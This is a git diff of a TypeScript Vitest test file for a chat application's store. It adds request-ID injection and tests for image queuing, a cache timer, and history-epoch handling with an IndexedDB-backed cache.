+++ b/src/features/chat/store.test.ts
@@ -1,5 +1,8 @@
 import type { AgentEvent, ImageInput, StepId, StoredChunk } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
 import { describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
 import { createChatStore } from "./store.svelte";
 import {
   createFakeCache,
@@ -29,6 +32,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -61,6 +65,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -104,6 +109,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -128,6 +134,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       model: "openai/gpt-4",
       transport: transport.impl,
@@ -150,6 +157,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -182,6 +190,7 @@ describe("createChatStore", () => {
   it("send omits images on the wire when none are staged (backward compatible)", () => {
     const transport = createFakeTransport();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: createFakeHistorySync().impl,
@@ -198,6 +207,7 @@ describe("createChatStore", () => {
   it("send omits images on the wire for an empty array", () => {
     const transport = createFakeTransport();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: createFakeHistorySync().impl,
@@ -214,6 +224,7 @@ describe("createChatStore", () => {
   it("send allows an images-only message (empty text)", () => {
     const transport = createFakeTransport();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: createFakeHistorySync().impl,
@@ -238,6 +249,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -252,16 +264,52 @@ describe("createChatStore", () => {
       expect(transport.sentQueue[0]?.type).toBe("chat.queue");
       expect(transport.sentQueue[0]?.conversationId).toBe(CONV_ID);
       expect(transport.sentQueue[0]?.text).toBe("steer left");
+      expect(transport.sentQueue[0]).not.toHaveProperty("images");
 
       store.dispose();
     });
 
+    it.each(["  describe this  ", "", "   "])("queues images with text %j", (text) => {
+      const transport = createFakeTransport();
+      const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
+        conversationId: CONV_ID,
+        workspaceId: "images-workspace",
+        transport: transport.impl,
+        historySync: createFakeHistorySync().impl,
+        metricsSync: createFakeMetricsSync().impl,
+        cache: createFakeCache().impl,
+      });
+      const images: readonly ImageInput[] = [
+        { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+        { url: "https://example.com/photo.jpg" },
+      ];
+
+      store.queueMessage(text, images);
+
+      expect(transport.sentQueue).toEqual([
+        {
+          type: "chat.queue",
+          requestId: expect.any(String),
+          conversationId: CONV_ID,
+          workspaceId: "images-workspace",
+          text: text.trim(),
+          images,
+        },
+      ]);
+      expect(transport.sentQueue[0]?.images).not.toBe(images);
+      expect(transport.sent).toHaveLength(0);
+      expect(store.chunks).toHaveLength(0);
+      store.dispose();
+    });
+
     it("trims whitespace before sending", () => {
       const transport = createFakeTransport();
       const historySync = createFakeHistorySync();
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -282,6 +330,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -291,6 +340,7 @@ describe("createChatStore", () => {
 
       store.queueMessage("   ");
       store.queueMessage("");
+      store.queueMessage("", []);
 
       expect(transport.sentQueue).toHaveLength(0);
 
@@ -303,6 +353,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -325,6 +376,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -350,6 +402,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -371,6 +424,7 @@ describe("createChatStore", () => {
       const metricsSync = createFakeMetricsSync();
       const cache = createFakeCache();
       const store = createChatStore({
+        createRequestId: () => crypto.randomUUID(),
         conversationId: CONV_ID,
         transport: transport.impl,
         historySync: historySync.impl,
@@ -396,6 +450,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -425,6 +480,7 @@ describe("createChatStore", () => {
     historySync.returnChunks = [makeStoredChunk(3, "assistant")];
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -453,6 +509,7 @@ describe("createChatStore", () => {
     historySync.returnChunks = [makeStoredChunk(1, "assistant")];
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -474,6 +531,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -506,6 +564,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -528,7 +587,7 @@ describe("createChatStore", () => {
     store.dispose();
   });
 
-  it("overlapping syncs are guarded", async () => {
+  it("overlapping syncs coalesce into a sequential rerun", async () => {
     const transport = createFakeTransport();
     const _historySync = createFakeHistorySync();
     const metricsSync = createFakeMetricsSync();
@@ -546,10 +605,11 @@ describe("createChatStore", () => {
       if (callCount === 1) {
         await firstSyncPromise;
       }
-      return { chunks: [], latestSeq: sinceSeq };
+      return { chunks: [], latestSeq: sinceSeq, historyEpoch: 0 };
     };
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: slowHistorySync,
@@ -573,7 +633,7 @@ describe("createChatStore", () => {
 
     // Release the first sync
     resolveFirstSync?.();
-    await new Promise((r) => setTimeout(r, 10));
+    await vi.waitFor(() => expect(callCount).toBe(2));
 
     store.dispose();
   });
@@ -584,6 +644,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -629,6 +690,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       model: "openai/gpt-4",
       transport: transport.impl,
@@ -653,6 +715,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -676,6 +739,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -706,6 +770,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -726,6 +791,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -750,6 +816,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -788,6 +855,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -849,6 +917,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -893,6 +962,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -965,6 +1035,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1031,6 +1102,7 @@ describe("createChatStore", () => {
     ];
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1055,6 +1127,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1086,6 +1159,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1110,6 +1184,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1144,6 +1219,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1190,6 +1266,7 @@ describe("createChatStore", () => {
     const cache = createFakeCache();
     let atBottom = false; // reader scrolled up
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1244,6 +1321,7 @@ describe("createChatStore", () => {
     const cache = createFakeCache();
     let atBottom = false;
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1282,6 +1360,7 @@ describe("createChatStore", () => {
     );
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1311,6 +1390,7 @@ describe("createChatStore", () => {
     historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1346,6 +1426,7 @@ describe("createChatStore", () => {
     historySync.returnChunks = [makeStoredChunk(3)];
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1370,6 +1451,7 @@ describe("createChatStore", () => {
     historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1407,6 +1489,7 @@ describe("createChatStore", () => {
     );
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1439,6 +1522,7 @@ describe("createChatStore", () => {
     );
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1470,6 +1554,7 @@ describe("createChatStore", () => {
     );
 
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1502,6 +1587,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1539,6 +1625,7 @@ describe("createChatStore", () => {
       Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1)),
     );
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1570,6 +1657,7 @@ describe("createChatStore", () => {
     // Server holds 200; cold-cache load at limit 100 → window 75 → seqs 126..200.
     historySync.returnChunks = Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1));
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1597,6 +1685,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1636,6 +1725,7 @@ describe("createChatStore", () => {
       Array.from({ length: 50 }, (_, i) => makeStoredChunk(i + 1)),
     );
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1645,6 +1735,7 @@ describe("createChatStore", () => {
     });
     await store.load(); // only 50 chunks → all loaded, window starts at seq 1
     expect(store.chunks).toHaveLength(50);
+    await store.showEarlier(); // Probe server exhaustion; seq 1 alone is not a boundary.
     expect(store.hasEarlier).toBe(false);
     const callsAfterLoad = historySync.calls.length;
 
@@ -1662,6 +1753,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1691,6 +1783,7 @@ describe("createChatStore", () => {
     const metricsSync = createFakeMetricsSync();
     const cache = createFakeCache();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: transport.impl,
       historySync: historySync.impl,
@@ -1712,6 +1805,7 @@ describe("createChatStore — batched delta application (scheduleFlush)", () =>
     const scheduled: (() => void)[] = [];
     const historySync = createFakeHistorySync();
     const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
       conversationId: CONV_ID,
       transport: createFakeTransport().impl,
       historySync: historySync.impl,
@@ -1789,3 +1883,383 @@ describe("createChatStore — batched delta application (scheduleFlush)", () =>
     expect(store.chunks).toHaveLength(0);
   });
 });
+
+describe("createChatStore — cacheTimer", () => {
+  function makeStore(now: () => number) {
+    return createChatStore({
+      createRequestId: () => crypto.randomUUID(),
+      conversationId: CONV_ID,
+      transport: createFakeTransport().impl,
+      historySync: createFakeHistorySync().impl,
+      metricsSync: createFakeMetricsSync().impl,
+      cache: createFakeCache().impl,
+      now,
+    });
+  }
+  const call = (stepId: string, toolCallId: string) =>
+    deltaEvent({
+      type: "tool-call",
+      conversationId: CONV_ID,
+      turnId: "t1",
+      stepId: stepId as StepId,
+      toolCallId,
+      toolName: "read_file",
+      input: {},
+    });
+  const result = (stepId: string, toolCallId: string) =>
+    deltaEvent({
+      type: "tool-result",
+      conversationId: CONV_ID,
+      turnId: "t1",
+      stepId: stepId as StepId,
+      toolCallId,
+      toolName: "read_file",
+      content: "ok",
+      isError: false,
+    });
+  const stepComplete = (stepId: string) =>
+    deltaEvent({
+      type: "step-complete",
+      conversationId: CONV_ID,
+      turnId: "t1",
+      stepId: stepId as StepId,
+    });
+  const done = (turnId: string) =>
+    deltaEvent({ type: "done", conversationId: CONV_ID, turnId, reason: "end-turn" });
+
+  it("is idle until something happens", () => {
+    const store = makeStore(() => 1000);
+    expect(store.cacheTimer.running).toBeNull();
+    store.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t1" }));
+    expect(store.cacheTimer.running).toBeNull();
+    store.dispose();
+  });
+
+  it("times a step's tool execution with the injected clock and stamps it", () => {
+    let clock = 0;
+    const store = makeStore(() => clock);
+    store.handleDelta(call("t1#0", "a"));
+    clock = 1_000;
+    store.handleDelta(stepComplete("t1#0"));
+    expect(store.cacheTimer.running).toMatchObject({ kind: "step", startedAt: 1_000 });
+    clock = 31_000;
+    store.handleDelta(result("t1#0", "a"));
+    expect(store.cacheTimer.running).toBeNull();
+    expect(store.cacheTimer.stepStamps.get("t1#0")).toBe(30_000);
+    store.dispose();
+  });
+
+  it("starts a turn gap on done and stamps it on send", () => {
+    let clock = 5_000;
+    const store = makeStore(() => clock);
+    store.handleDelta(done("t1"));
+    expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+    clock = 125_000;
+    store.send("next");
+    expect(store.cacheTimer.running).toBeNull();
+    expect(store.cacheTimer.turnStamps.get("t1")).toBe(120_000);
+    store.dispose();
+  });
+
+  it("ignores another conversation's events", () => {
+    const store = makeStore(() => 5_000);
+    store.handleDelta(
+      deltaEvent({ type: "done", conversationId: "other", turnId: "t1", reason: "end-turn" }),
+    );
+    expect(store.cacheTimer.running).toBeNull();
+    store.dispose();
+  });
+
+  it("noteLastActivity seeds a turn gap, keeps the later start, and is ignored while generating", () => {
+    const store = makeStore(() => 5_000);
+    store.noteLastActivity(3_000);
+    expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: null, startedAt: 3_000 });
+    store.handleDelta(done("t1"));
+    expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+    store.noteLastActivity(4_000); // an older seed never rewinds it
+    expect(store.cacheTimer.running).toMatchObject({ startedAt: 5_000 });
+    store.dispose();
+
+    const busy = makeStore(() => 5_000);
+    busy.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t2" }));
+    busy.noteLastActivity(4_000);
+    expect(busy.cacheTimer.running).toBeNull();
+    busy.dispose();
+  });
+});
+
+describe("history epochs", () => {
+  it.each([
+    "tail",
+    "backfill",
+  ])("recovers missed compaction on %s and exhausts non-1 history", async (path) => {
+    const history = createFakeHistorySync();
+    const cache = createFakeCache();
+    history.returnChunks = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+    const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
+      conversationId: CONV_ID,
+      transport: createFakeTransport().impl,
+      historySync: history.impl,
+      metricsSync: createFakeMetricsSync().impl,
+      cache: cache.impl,
+      chatLimit: 10,
+    });
+    await store.load();
+    history.historyEpoch = 1;
+    history.returnChunks = [makeStoredChunk(101), makeStoredChunk(102)];
+    if (path === "tail") {
+      store.resync();
+      await vi.waitFor(() => expect(store.chunks[0]?.seq).toBe(101));
+    } else await store.showEarlier();
+    expect(store.chunks.map((c) => c.seq)).toEqual([101, 102]);
+    expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101, 102]);
+    expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+    expect(store.hasEarlier).toBe(false);
+    const calls = history.calls.length;
+    await store.showEarlier();
+    expect(history.calls).toHaveLength(calls);
+    store.dispose();
+  });
+});
+
+it("a compaction broadcast during an in-flight fetch discards the old response", async () => {
+  const history = createFakeHistorySync();
+  history.returnChunks = [makeStoredChunk(101)];
+  let resolve!: (res: import("@dispatch/transport-contract").ConversationHistoryResponse) => void;
+  const first = new Promise<import("@dispatch/transport-contract").ConversationHistoryResponse>(
+    (r) => {
+      resolve = r;
+    },
+  );
+  const sync = vi
+    .fn<import("./ports").HistorySync>()
+    .mockImplementationOnce(() => first)
+    .mockImplementation(history.impl);
+  const cache = createFakeCache();
+  const store = createChatStore({
+    createRequestId: () => crypto.randomUUID(),
+    conversationId: CONV_ID,
+    transport: createFakeTransport().impl,
+    historySync: sync,
+    metricsSync: createFakeMetricsSync().impl,
+    cache: cache.impl,
+  });
+  const loading = store.load();
+  await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(1));
+  history.historyEpoch = 1;
+  store.resync(1);
+  resolve({ chunks: [makeStoredChunk(1)], latestSeq: 1, historyEpoch: 0 });
+  await loading;
+  expect(sync).toHaveBeenCalledTimes(2);
+  expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+  expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+  store.dispose();
+});
+
+it("reloads unknown legacy cache epochs rather than merging pre-upgrade rows", async () => {
+  vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+  const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+  const cache = createConversationCache(storage);
+  await storage.append(CONV_ID, [makeStoredChunk(1)]);
+  const history = createFakeHistorySync();
+  history.returnChunks = [makeStoredChunk(101)];
+  const store = createChatStore({
+    createRequestId: () => crypto.randomUUID(),
+    conversationId: CONV_ID,
+    transport: createFakeTransport().impl,
+    historySync: history.impl,
+    metricsSync: createFakeMetricsSync().impl,
+    cache,
+  });
+  try {
+    await store.load();
+    expect(history.calls[0]).toMatchObject({ sinceSeq: 0 });
+    expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+    expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+    expect((await cache.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+  } finally {
+    store.dispose();
+    vi.unstubAllGlobals();
+  }
+});
+
+describe("server epoch rollback", () => {
+  it.each([
+    "tail",
+    "backfill",
+  ])("converges on %s with a real cache and a fresh bounded fetch", async (path) => {
+    vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+    const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+    const cache = createConversationCache(storage);
+    const old = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+    await cache.commit(CONV_ID, path === "backfill" ? old.slice(-7) : old, 5);
+    const history = createFakeHistorySync();
+    history.historyEpoch = 5;
+    const store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
+      conversationId: CONV_ID,
+      transport: createFakeTransport().impl,
+      historySync: history.impl,
+      metricsSync: createFakeMetricsSync().impl,
+      cache,
+      chatLimit: 10,
+    });
+    try {
+      await store.load();
+      history.historyEpoch = 0;
+      // Recreated ids can reuse seqs with completely different content.
+      const restored: StoredChunk = {
+        seq: 1,
+        role: "user",
+        chunk: { type: "text", text: "restored" },
+      };
+      history.returnChunks = [restored];
+      const before = history.calls.length;
+      if (path === "tail") {
+        store.resync();
+        await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+      } else await store.showEarlier();
+      expect(history.calls.length - before).toBeLessThanOrEqual(2);
+      expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+      expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+      expect(await cache.load(CONV_ID)).toEqual([restored]);
+      expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+      expect(store.hasEarlier).toBe(false);
+      expect(store.error).toBeNull();
+    } finally {
+      store.dispose();
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it("bounds reruns even when every response is invalidated by another compaction", async () => {
+    let calls = 0;
+    let churn = true;
+    let store!: ReturnType<typeof createChatStore>;
+    const sync: import("./ports").HistorySync = async () => {
+      calls++;
+      // Stop the old broken loop safely rather than hanging the test worker.
+      if (churn && calls <= 6) store.resync(calls);
+      return { chunks: [], latestSeq: 0, historyEpoch: calls - 1 };
+    };
+    store = createChatStore({
+      createRequestId: () => crypto.randomUUID(),
+      conversationId: CONV_ID,
+      transport: createFakeTransport().impl,
+      historySync: sync,
+      metricsSync: createFakeMetricsSync().impl,
+      cache: createFakeCache().impl,
+    });
+    try {
+      await store.load();
+      expect(calls).toBe(3);
+      expect(store.pendingSync).toBe(false);
+      expect(store.error).toMatch(/history changed repeatedly/i);
+      churn = false;
+      store.resync();
+      await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+      expect(calls).toBe(4);
+      expect(store.error).toBeNull();
+    } finally {
+      store.dispose();
+    }
+  });
+});
+
+it.each([
+  "tail",
+  "backfill",
+])("rejects a delayed old %s after a lower-epoch history is observed", async (delayed) => {
+  vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+  const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+  await cache.commit(
+    CONV_ID,
+    Array.from({ length: 7 }, (_, i) => makeStoredChunk(14 + i)),
+    5,
+  );
+  const restored: StoredChunk = {
+    seq: 1,
+    role: "user",
+    chunk: { type: "text", text: "new history" },
+  };
+  type Response = import("@dispatch/transport-contract").ConversationHistoryResponse;
+  let resolve!: (res: Response) => void;
+  const slow = new Promise<Response>((r) => {
+    resolve = r;
+  });
+  let delayNext = false;
+  let epoch = 5;
+  const sync = vi.fn<import("./ports").HistorySync>().mockImplementation(async () => {
+    if (delayNext) {
+      delayNext = false;
+      return slow;
+    }
+    return {
+      chunks: epoch === 5 ? [] : [restored],
+      latestSeq: epoch === 5 ? 20 : 1,
+      historyEpoch: epoch,
+    };
+  });
+  const store = createChatStore({
+    createRequestId: () => crypto.randomUUID(),
+    conversationId: CONV_ID,
+    transport: createFakeTransport().impl,
+    historySync: sync,
+    metricsSync: createFakeMetricsSync().impl,
+    cache,
+    chatLimit: 10,
+  });
+  try {
+    await store.load();
+    delayNext = true;
+    let earlier: Promise<void>;
+    if (delayed === "tail") {
+      store.resync();
+      await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+      epoch = 0;
+      earlier = store.showEarlier();
+      await earlier; // Invalidates the old tail and requests a sequential rerun.
+    } else {
+      earlier = store.showEarlier();
+      await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+      epoch = 0;
+      store.resync();
+      await vi.waitFor(() => expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]));
+    }
+    resolve({ chunks: [makeStoredChunk(21)], latestSeq: 21, historyEpoch: 5 });
+    await earlier;
+    await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+    expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+    expect(await cache.load(CONV_ID)).toEqual([restored]);
+    expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+    expect(sync).toHaveBeenCalledTimes(4);
+  } finally {
+    store.dispose();
+    vi.unstubAllGlobals();
+  }
+});
+
+it("replaces an empty high-epoch cache with the server's empty lower epoch in one request", async () => {
+  const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+  await cache.reset(CONV_ID, 8);
+  const history = createFakeHistorySync();
+  const store = createChatStore({
+    createRequestId: () => crypto.randomUUID(),
+    conversationId: CONV_ID,
+    transport: createFakeTransport().impl,
+    historySync: history.impl,
+    metricsSync: createFakeMetricsSync().impl,
+    cache,
+  });
+  try {
+    await store.load();
+    expect(history.calls).toHaveLength(1);
+    expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+    expect(await cache.load(CONV_ID)).toEqual([]);
+    expect(store.chunks).toEqual([]);
+    expect(store.hasEarlier).toBe(false);
+  } finally {
+    store.dispose();
+  }
+});
